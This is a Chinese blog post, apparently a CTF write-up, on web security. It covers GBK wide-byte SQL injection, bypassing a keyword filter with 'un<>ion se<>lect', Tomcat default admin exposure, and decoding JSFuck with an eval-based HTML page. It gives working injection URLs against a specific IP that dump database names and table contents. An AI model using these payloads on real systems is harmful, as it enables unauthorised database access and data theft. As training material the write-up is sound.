web安全 - SQL注入

SQL Injection
就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
首先让我们了解什么时候可能发生SQL Injection。
假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以该URL中嵌入恶意SQL语句。

宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等。当MYSQL数据库数据在处理和存储过程中,涉及到的字符集相关信息包括:
(1) character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集。
(2) character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。
(3) character_set_database:数据库缺省编码字符集。
(4) character_set_filesystem:文件系统编码字符集。
(5) character_set_results:SQL语句执行结果编码字符集。
(6) character_set_server:服务器缺省编码字符集。
(7) character_set_system:系统缺省编码字符集。
(8) character_sets_dir:字符集存放目录,一般不要修改。

宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义消毒失败。
应用场景: 宽字节注入出口
Test1:http://103.238.227.13:10083/?id=1%df%27

sqltestone.png

Result1返回数据库类型为mysql,尝试利用mysql的gbk编码漏洞,union select尝试爆库

Test2 http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,2%23

sqltestsecond.png

Result2:返回数据库记录,union select测试到两列回显,重新拼表

tips:这里有必要提醒一下,union select [1...n]的含义是在将相应位置替换成你想获得的数据.union select代表着再找到第一条id为1的记录同时,更改这条记录之后一个字段的值依次为2,3,4,5....n

Test3:尝试尝试查询union select 1,database(),拿到记录所在的数据库
http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,database()%23

Result3:拿到表名为sql5,尝试爆表

SQL5.png

Test4: 从key表中爆字段,指定记录id=1的下一个字段为string类型,拿到key
http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20where%20id=1%23

Result4:拿到id=1保存的flag

result.png

通常我们在进行后台维护时,都会用一个列表来保存注入语句中可能出现的关键字, 上文宽字节注入就是一个最好的例子,如果我们过滤select,union字段,当我们在进行注入时,这些敏感词都会被过滤

应用场景 :敏感词过滤出口
Test1:为了绕开这些敏感词,我们普遍采取xss攻击在关键字的前两个字母后加上<>避免被过滤掉
http://103.238.227.13:10087/?id=1%20un%3C%3Eion%20se%3C%3Elect%201,2%23
Result1:拼接表成功,显示拼接表1,2两行

result1.jpg

Test2:由上我们再一次爆库
URL转义before:
http://103.238.227.13:10087/?id=1 un<>ion se<>lect database(),2%23
after:
http://103.238.227.13:10087/?id=1%20un%3C%3Eion%20se%3C%3Elect%20database(),2%23

Result2:找到字段id=1的表sql3

sql3.jpg

Test3:找到id=hash的记录,爆key表
URL转义before:

http://103.238.227.13:10087/?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23

after:

http://103.238.227.13:10087/?id=1%20un%3C%3Eion%20se%3C%3Elect%20hash,2%20fr%3C%3Eom%20sql3.key%23

Result3:拿到flag,加上key括号

key.jpg

Jsp存在漏洞:
通常在本地构建完Jsp项目之后,都要放在一个叫做Tomcat的小型服务器里运行Web项目
PS:Tomcat版本的缺省“/admin”目录是很容易访问的。输入:http://202.103.*.168/admin/,管理员目录赫然在列。默认情况下,“User Name”应该是admin,“Password”应该是空,输入用户和密码后,并点击“Login”按钮,不能进入,陆续使用了几个比较常见的密码,也无济于事。 默认情况下,Tomcat打开了目录浏览功能,而一般的管理员又很容易忽视这个问题。也就是说,当要求的资源直接映射到服务器上的一个目录时,由于在目录中缺少缺省的index.jsp等文件,Tomcat将不返回找不到资源的404错误,而是返回HTML格式的目录列表。

应用场景:Jsp注入出口
Test1-9: 尝试Jsp注入常用方法
Result1-9:均无效

failure.jpg

看了一位dalao的wp,才知道要用一个叫做JSfuck的库,

PS:JSFuck是基于JavaScript原子部分的深奥和教育式编程风格。它只使用六个不同的字符来编写和执行代码。这么说有些深奥,我们举几个例子来看下吧~

alert(1)编码,得到的1227个字节的JsFuck语言,所以也就是一种特殊的编码性质,这里mark一下~

result2.jpg

Test10:将Test1-9的div style="display:none"标签下的jsfuck编码转义,Decode JSfuck

index.html

<html>
<head>
    <meta charset="UTF-8">
    <title>JSFuck decoder</title>
    <style type="text/css">
    @import 'https://fonts.googleapis.com/css?family=Open+Sans:300';
    * {
        margin: 0;
        padding: 0;
        -moz-box-sizing: border-box;
        -webkit-box-sizing: border-box;
        box-sizing: border-box;
    }
    
    body {
        padding: 20px;
        text-align: left;
        font-family: Lato;
        color: #fff;
        background: #52B3D9;
        font-family: 'Open Sans', sans-serif;
        text-align: center;
    }
    
    h1 {
        font-weight: 300;
        font-size: 40px;
        text-transform: uppercase;
        text-align: center;
        margin: 20px 0;
    }
    
    textarea {
        display: block;
        clear: both;
        margin-bottom: 10px;
        border-radius: 7px;
        padding: 15px 10px;
        font-size: 14px;
        outline: none;
        border: none;
        background-color: #34495E;
        color: #fff;
        -moz-transition: all 0.2s ease-in;
        -o-transition: all 0.2s ease-in;
        -webkit-transition: all 0.2s ease-in;
        transition: all 0.2s ease-in;
    }
    input {
      margin: 0 auto;
    position: relative;
    vertical-align: top;
    width: 150px;
    height: 60px;
    padding: 0;
    font-size: 22px;
    font-weight: 300;
    color: white;
    text-align: center;
    text-shadow: 0 1px 2px rgba(0, 0, 0, 0.25);
    background: #2980b9;
    border: 0;
    border-bottom: 2px solid #2475ab;
    cursor: pointer;
    -webkit-box-shadow: inset 0 -2px #2475ab;
    box-shadow: inset 0 -2px #2475ab;
    }
    input:active {
    top: 1px;
    outline: none;
    -webkit-box-shadow: none;
    box-shadow: none;
  }
    input:-ms-input-placeholder,
    textarea:-ms-input-placeholder {
        color: #fff;
        font-size: 20px;
        font-weight: 300;
        text-transform: uppercase;
    }
    
    input::-moz-placeholder,
    textarea::-moz-placeholder {
        color: #fff;
        font-size: 20px;
        font-weight: 300;
        text-transform: uppercase;
    }
    
    input::-webkit-input-placeholder,
    textarea::-webkit-input-placeholder {
        color: #fff;
        font-size: 20px;
        font-weight: 300;
        text-transform: uppercase;
    box-shadow: none;
    -webkit-appearance: none;
    }
    
    textarea:hover {
        background-color: #22313F;
        color: #f2f2f2;
    }
    textarea:focus {
        background-color: #1a252f;
        color: #fff;
    }
    textarea {
        height: 550px;
    }
    </style>
</head>
<body>
    <h1>Wanna decode <font color="#f0f060">JSFuck?</font></h1>
    <textarea placeholder="Paste your code here!" id="code" style="width:100%;min-height:300px"></textarea>
    <input type="submit" onclick="decode()" value="Decode">

<script type="text/javascript">
function decode() {
    var code = document.querySelector('#code');
    code.value = (/\n(.+)/.exec(eval(code.value.replace(/\s+/, "").slice(0, -2)))[1]);
}
</script>
</body> <xpather id="xpather">      
<form id="xpather-form">            
    <input id="xpather-xpath" type="text" placeholder="enter XPath…" autocomplete="off" spellcheck="false">     
    </form>         
    <xpather id="xpather-result"></xpather>     
    <xpather id="xpather-sidebar-toggler"></xpather>    
    </xpather>  
    <xpather id="xpather-sidebar">      
    <xpather id="xpather-sidebar-spacer"></xpather>     
    <xpather id="xpather-sidebar-entries"></xpather>    
    </xpather>
</html>

Result10:flag拿到

flag.jpg
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,457评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,837评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,696评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,183评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,057评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,105评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,520评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,211评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,482评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,574评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,353评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,213评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,576评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,897评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,174评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,489评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,683评论 2 335

推荐阅读更多精彩内容